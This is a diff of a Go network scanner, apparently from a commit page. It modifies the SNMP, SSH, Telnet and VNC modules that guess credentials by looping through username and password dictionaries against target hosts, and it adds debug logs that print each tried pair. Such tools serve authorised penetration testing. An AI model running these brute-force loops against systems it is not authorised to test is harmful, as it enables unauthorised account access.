// 等待结果或超时
|
||||
@ -69,7 +79,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
@ -79,6 +89,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -18,13 +18,27 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["ssh"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["ssh"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
@ -74,6 +88,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogDebug("检测到SSH密钥路径,停止密码尝试")
|
||||
return err
|
||||
}
|
||||
|
||||
@ -82,6 +97,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -18,34 +18,45 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["telnet"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["telnet"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行Telnet连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
noAuth bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := telnetConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
noAuth bool
|
||||
err error
|
||||
}{err == nil, flag, err}
|
||||
}{err == nil, flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -79,17 +90,17 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -8,7 +8,6 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// VncScan 执行VNC服务扫描及密码尝试
|
||||
func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
@ -16,29 +15,39 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
modename := "vnc"
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", totalPass))
|
||||
|
||||
tried := 0
|
||||
|
||||
// 遍历所有密码
|
||||
for _, pass := range Common.Passwords {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
tried++
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", tried, totalPass, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retryCount+1, pass))
|
||||
}
|
||||
|
||||
// 执行VNC连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(pass string) {
|
||||
success, err := VncConn(info, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -66,16 +75,16 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否是需要重试的错误
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user